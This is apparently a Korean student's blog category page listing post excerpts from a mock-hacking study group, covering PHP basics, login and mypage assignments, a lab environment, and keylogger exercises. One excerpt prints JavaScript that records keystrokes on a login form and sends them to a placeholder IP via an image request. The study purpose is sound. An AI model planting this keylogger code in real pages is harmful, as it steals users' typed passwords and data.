Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

php 12

[๊ณผ์ œ] 04์ฃผ์ฐจ (1-1 β) ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„ (๋กœ๊ทธ์ธ ์ฐฝ)

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 4์ฃผ์ฐจ ๊ณผ์ œ (1-1) ํ‚ค ๋กœ๊ฑฐ ์ถ”๊ฐ€ ๊ตฌํ˜„ ์ฝ”๋“œ ๊ตฌ์„ฑ key_logger.html key_logger.js key_logger.php view.html key_logger.html Login Form Login ๋กœ๊ทธ์ธ ํผ์˜ ํ‚ค๋กœ๊ฑฐ key_logger.js var keys=''; var url = 'http://ip adress/key_logger.php?c='; document.onkeydown = function(e) { var key = e.key; keys+=key; } window.setInterval(function(){ if(keys.length > 0) { var data = encodeURIComponent(keys) new Image().src = url + data..

[๊ณผ์ œ] 04์ฃผ์ฐจ (1-1 α) (XSS)ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 4์ฃผ์ฐจ ๊ณผ์ œ (1-1) ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„ ํ‚ค ๋กœ๊น…์ด๋ž€? ํ‚ค ๋กœ๊น…(Keylogging, ํ‚ค ์ŠคํŠธ๋กœํฌ ๋กœ๊น…(Keystroke logging) ์‚ฌ์šฉ์ž๊ฐ€ ํ‚ค๋ณด๋“œ๋กœ PC์— ์ž…๋ ฅํ•˜๋Š” ๋‚ด์šฉ์„ ๋ชฐ๋ž˜ ๊ฐ€๋กœ์ฑ„์–ด ๊ธฐ๋กํ•˜๋Š” ํ–‰์œ„ (ํ‚ค๋ณด๋“œ๋กœ ์ž…๋ ฅํ•˜๋Š” ์ •๋ณด๋ฅผ ์ค‘๊ฐ„์— ๊ฐ€๋กœ์ฑ„๊ธฐ ํ•˜์—ฌ ์ •๋ณด๋ฅผ ํ›”์ณ๊ฐ€๋Š” ํ•ดํ‚น ๋„๊ตฌ) ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ํ‚ค ๊ฐ’์˜ ๋กœ๊ทธ๋ฅผ ํƒ€์ธ์ด ๋ด„์œผ๋กœ์จ ํ•ดํ‚น ํ”ผํ•ด์— ๋…ธ์ถœ ํ•˜๋“œ์›จ์–ด, ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ํ™œ์šฉํ•œ ๋ฐฉ๋ฒ•์—์„œ๋ถ€ํ„ฐ ์ „์ž์ , ์Œํ–ฅ๊ธฐ์ˆ ์„ ํ™œ์šฉํ•œ ๊ธฐ๋ฒ•๊นŒ์ง€ ๋‹ค์–‘ํ•œ ํ‚ค๋กœ๊น… ๋ฐฉ๋ฒ•์ด ์กด์žฌ ํ‚ค ๋กœ๊ฑฐ(Key Logger) Key + Log ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅํ•œ ํ‚ค์˜ ํ”์ ์„ ๋‚จ๊ธฐ๋Š” ํ”„๋กœ๊ทธ๋žจ ํ”„๋กœ์„ธ์Šค๋กœ ์‚ฌ์ค‘ํ•˜๋ฉด์„œ ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅ๋œ ๋ชจ๋“  ๊ธฐ๋ก๋“ค์„ .txt ํ˜น์€ ์ง€์ •๋œ ํ™•์žฅ์ž๋กœ ์ €์žฅ๋˜๊ฒŒ ํ•จ ํ‚ค๋ณด๋“œ๋ฅผ ํ†ตํ•ด ์ด๋ค„์ง€๋Š” ๋ชจ๋“  ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ ..

PHP - ํด๋ž˜์Šค( class() ), ์ƒ์„ฑ์ž( __construct() )

PHP ์˜ ํด๋ž˜์Šค์™€ ์ƒ์„ฑ์ž์— ๋Œ€ํ•˜์—ฌ ํด๋ž˜์Šค (class) php์˜ ํด๋ž˜์Šค(class)๋Š” ๊ฐ์ฒด์—์„œ ๋ณ€์ˆ˜์™€ ํ•จ์ˆ˜๋ฅผ ๋‹ด๋Š” ํ‹€ (ํ•„์š”ํ•œ ๋ณ€์ˆ˜์˜ ๋ชฉ๋ก๊ณผ ์‚ฌ์šฉํ•  ํ•จ์ˆ˜๋“ค) class ๋’ค์— ์ด๋ฆ„์„ ๋„ฃ์–ด์„œ ํด๋ž˜์Šค๋ฅผ ์ •์˜ ์—‘์„ธ์Šค ํ•œ์ •์ž (public, private, protected) - ์ ‘๊ทผ ์ œํ•œ์ž ๋ฉค๋ฒ„๋ณ€์ˆ˜๋‚˜ ๋ฉ”์†Œ๋“œ๊ฐ€ ์–ด๋””์—์„œ ์•ก์„ธ์Šค(acess) ๊ฐ€๋Šฅํ•œ์ง€๋ฅผ ์ง€์ •ํ•˜๋Š” ๊ฒƒ (๋ฉค๋ฒ„ ๋ณ€์ˆ˜์˜ ์•ž์— ์•ก์„ธ์Šค ํ•œ์ •์ž๋ฅผ ๋ถ™์ด๋Š” ๊ฒƒ์œผ๋กœ, ๊ทธ ๋ฉค๋ฒ„ ๋ณ€์ˆ˜์— ์ ‘๊ทผ ๊ฐ€๋Šฅ ๋ฒ”์œ„๋ฅผ ์ง€์ •) public : ํด๋ž˜์Šค ๋‚ด, ํด๋ž˜์Šค ์™ธ์˜ ์–ด๋””์—์„œ๋ผ๋„ ์•ก์„ธ์Šค ๊ฐ€๋Šฅ (์•„๋ฌด๊ฒƒ๋„ ๋ช…์‹œ๋˜์ง€ ์•Š์œผ๋ฉด public) private : ๊ฐ™์€ ํด๋ž˜์Šค ์•ˆ์—์„œ๋งŒ ์•ก์„ธ์Šค ๊ฐ€๋Šฅ (ํด๋ž˜์Šค ์ƒ์† ๋ถˆ๊ฐ€๋Šฅ) protected : ๊ฐ™์€ ํด๋ž˜์Šค ๋ฐ ์ž์‹ ํด๋ž˜์Šค์—์„œ ์•ก์„ธ์Šค ๊ฐ€๋Šฅ (ํด๋ž˜์Šค ์ƒ์†..

[๊ณผ์ œ] 03์ฃผ์ฐจ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 03์ฃผ์ฐจ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(3) (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ(3) (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„)์˜ Develop ๊ณผ์ œ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜ codegear-archive.tistory.com ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„์˜ Develop ๊ณผ์ œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ํšŒ์›์ •๋ณด ์ˆ˜์ • ํšŒ์›ํƒˆํ‡ด ๋ณ€๊ฒฝ์  (๋ฆฌ๋””๋ ‰์…˜ ๋ณ€๊ฒฝ) home.php mypage.php ์ถ”๊ฐ€๋œ ์ฝ”๋“œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ edit_pw.php change.php ํšŒ์›์ •๋ณด ์ˆ˜์ • edit.php up..

HTML / PHP (JS,CSS) ์ฃผ์„ ์ฒ˜๋ฆฌ

HTML์˜ ์ฃผ์„ ์ฒ˜๋ฆฌ HTML ์ฃผ์„ ( ) ์‹œ์ž‘ ํƒœ๊ทธ () ์ด๋Ÿฌํ•œ ์ฃผ์„์€ HTML ์ฝ”๋“œ์˜ ์–ด๋Š ๋ถ€๋ถ„์—์„œ๋ผ๋„ ์‚ฌ์šฉ ๊ฐ€๋Šฅ ๋˜ํ•œ ์—ฌ๋Ÿฌ์ค„์— ๊ฑธ์ณ ์ฃผ์„์„ ์ž‘์„ฑํ•ด๋„ ์ธ์‹ ex) PHP์˜ ์ฃผ์„ ์ฒ˜๋ฆฌ // ํ•œ์ค„์˜ ๊ฒฝ์šฐ /* ์ฃผ์„์ด ์—ฌ๋Ÿฌ์ค„์ธ ๊ฒฝ์šฐ */ // : ํ•œ์ค„ ์ฃผ์„์ฒ˜๋ฆฌ /* */ : (/*) ๊ณผ (*/) ์‚ฌ์ด์— ํฌํ•จ๋œ ๋ชจ๋“  ๋ถ€๋ถ„์„ ์ฃผ์„ ์ฒ˜๋ฆฌ JS(JavaScript), CSS๋„ ๋™์ผํ•˜๊ฒŒ ์‚ฌ์šฉ

PHP - ํŠธ๋Ÿฌ๋ธ” ์ŠˆํŒ…(Trouble Shooting) - Debug

PHP ์ฝ”๋“œ ํŠธ๋Ÿฌ๋ธ” ์ŠˆํŒ… PHP์ฝ”๋“œ๋ฅผ ํ…Œ์ŠคํŠธ ํ•ด๋ณผ ๋•Œ, ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด ?! ๋งŒ์•ฝ ์—๋Ÿฌ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด !! ์˜คํƒ€ ํ•˜๋‚˜๋กœ 500 Error๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ , ์–ด๋””์—์„œ, ๋ฌด์—‡์ด ์ž˜๋ชป ๋˜์—ˆ๋Š”์ง€ ์กฐ์ฐจ ํ™•์ธ์ด ๋ถˆ๊ฐ€๋Šฅ ์ด๋Ÿด๋•Œ, ์—๋Ÿฌ ์ถœ๋ ฅ์„ ์ด์šฉ ๋””๋ฒ„๊น… / ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ์ฝ”๋“œ ์ค‘๊ฐ„ ์ค‘๊ฐ„ ๋ฌด์˜๋ฏธํ•œ ์ถœ๋ ฅ [ echo " >" .$๋ณ€์ˆ˜ ]๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ํ•ด๋‹น $๋ณ€์ˆ˜๊ฐ€ ์–ด๋””๊นŒ์ง€ ์ž˜ ์ถœ๋ ฅ๋˜์—ˆ๋Š”์ง€ ํ™•์ธ ๋””๋ฒ„๊น…/์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ๋‚˜ํƒ€๋‚ด๊ธฐ php Error ์ถœ๋ ฅ ๋ฐฉ๋ฒ• ์—๋Ÿฌ ์ถœ๋ ฅ : ์ž์„ธํ•˜๊ฒŒ ๋ช‡๋ฒˆ ์งธ ์ค„์—, ๋ญ๊ฐ€ ๋ฌธ์ œ๋‹ค ๋ผ๊ณ  ์•Œ๋ ค์คŒ $var ์ถœ๋ ฅ ํ™•์ธ php์˜ ๊ฒฝ์šฐ ์ฝ”๋“œ๊ฐ€ ์ˆœ์ฐจ์ ์œผ๋กœ ์ง„ํ–‰๋จ ๋”ฐ๋ผ์„œ ์ค‘๊ฐ„ ์ค‘๊ฐ„ ์ฐ์–ด๋ณด๋Š” ๊ฒƒ์ด ์ข‹์Œ echo "This >" . $check_res ์ด๋Ÿฐ์‹์œผ๋กœ ์ค‘๊ฐ„ ์ค‘๊ฐ„ ์จ๋‘๋ฉด ์–ด๋””๊นŒ์ง€๊ฐ€ ์ถœ๋ ฅ์ด ์ž˜ ๋˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธ ๊ฐ€๋Šฅ ๋™..

์›น ๊ฐœ๋ฐœ์˜ ๊ธฐ์ดˆ์–ธ์–ด (HTML/CSS/JS/PHP)

์›น ๊ฐœ๋ฐœ์˜ ํ•„์š”์„ฑ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋””๋ฅผ ์ง„ํ–‰ํ•˜๋ฉฐ... ์›น ํ•ดํ‚น์„ ์ง„ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์šฐ์„ ์ ์œผ๋กœ ๋งŒ๋“ค์ค„ ์•Œ์•„์•ผ ํ•จ์„ ๋ผˆ์ €๋ฆฌ๊ฒŒ ๋Š๋‚Œ ์›น ๊ฐœ๋ฐœ์€ ๋งค์šฐ ๋‹ค์–‘ํ•œ ์–ธ์–ด๋กœ ๊ตฌํ˜„์ด ๊ฐ€๋Šฅ ํ•˜์ง€๋งŒ ์—ฌ๋Ÿฌ๊ฐœ์˜ ์–ธ์–ด๋ฅผ ๋‹ค ์Šต๋“ํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅ ๊ฐ€์žฅ ๋Œ€์ค‘์ ์ด๊ณ , ํ•„์ˆ˜์ ์ธ ์–ธ์–ด 4๊ฐ€์ง€ >> HTML, CSS, JS, PHP

[์‹ค์Šต] ๐Ÿ’ป 01์ฃผ์ฐจ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” 1์ฃผ์ฐจ ์‹ค์Šต ์‹ค์Šต ํ™˜๊ฒฝ VMware : ๊ฐ€์ƒ ๋จธ์‹ (.ova) - VMware ์„ค์น˜ ๋ฐ ๋„คํŠธ์›Œํฌ ์„ค์ • Ubuntu 22.04.3 LTS Docker 20.10.24 Apache2 php 8.1 MySQL Termius - Termius ์„ค์น˜ ๋ฐ ํ™˜๊ฒฝ์„ค์ • VScode - VScode Plugin (sftp) ์„ค์น˜ ๋ฐ ์„ค์ • ์‹ค์Šต ์ค€๋น„ ์Šคํ„ฐ๋””์—์„œ ์ œ๊ณต๋œ ๊ฐ€์ƒ๋จธ์‹  SegFault_WEBdev.ova ์„ ์ด์šฉ VMware๋ฅผ ํ†ตํ•ด .ova ํŒŒ์ผ import ์ œ๊ณต๋œ id / pw ์ด์šฉํ•˜์—ฌ ๋กœ๊ทธ์ธ VMware ifconfig ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋‚ด ip์ฃผ์†Œ ํ™•์ธ ens33 ์ด์šฉ - Host ์ถ”๊ฐ€ Termius ํ„ฐ๋ฏธ์šฐ์Šค(Termius) : VMware ๋ณด๋‹ค ๋ณด๊ธฐ ํŽธํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ ํ‘ธํ‹ฐPuTTY vs ํ„ฐ๋ฏธ์šฐ..

[๊ณผ์ œ] 02์ฃผ์ฐจ(3) (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด)

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ(3) (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„)์˜ Develop ๊ณผ์ œ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 1์ฃผ์ฐจ ๊ณผ์ œ(๊ฐ„์ด ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ œ์ž‘) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 1์ฃผ์ฐจ ๊ณผ์ œ(๊ฐ„์ด ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ œ์ž‘) ๋ชจ์˜ ํ•ดํ‚น ์Šค codegear-archive.tistory.com ์ถ”๊ฐ€ ๊ตฌํ˜„ ๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด ์ถ”๊ฐ€๋œ ์ฝ”๋“œ mypage.php ์ด์ „ํŽ˜์ด์ง€(home.php) ๋งˆ์ดํŽ˜์ด์ง€ ํšŒ์›ํƒˆํ‡ด mypage.php Mypage ๋’ค๋กœ๊ฐ€๊ธฐ session ๋ณ€์ˆ˜์˜ ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ, SELECT ๋ฅผ ์ด์šฉ..

[๊ณผ์ œ] 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„)

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 1์ฃผ์ฐจ ๊ณผ์ œ(๊ฐ„์ด ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ œ์ž‘) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 1์ฃผ์ฐจ ๊ณผ์ œ(๊ฐ„์ด ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ œ์ž‘) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 1์ฃผ์ฐจ ๊ณผ์ œ (๊ฐ„์ด ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ œ์ž‘) ์ œ์ž‘ ์กฐ๊ฑด DB ์—ฐ๊ฒฐ X ID / PW == admin / admin1234 ์ž…๋ ฅ์‹œ ๋กœ๊ทธ์ธ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊พธ๋ฏธ๊ธฐ (CSS / Bootstrap ์ด์šฉ) ์ถ”ํ›„ ์›ํ•˜๋Š”๋Œ€๋กœ ์ ์šฉ ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•˜ codegear-archive.tistory.com 1์ฃผ์ฐจ (๊ฐ„์ด ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€) ๊ณผ์ œ์˜ Develop ๊ณผ์ œ ํšŒ์›๊ฐ€์ž… ๊ธฐ๋Šฅ ์ถ”๊ฐ€ (๊ธฐ๋Šฅ ๊ตฌํ˜„) ํšŒ์› ๊ฐ€์ž… ์ •๋ณด (DB ์ €์žฅ) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ (DB ์—ฐ๋™) ๋™์ž‘ ๊ณผ์ • ์ฒซ ํ™”๋ฉด์ธ htt[://192.168.xxx.xxx:101..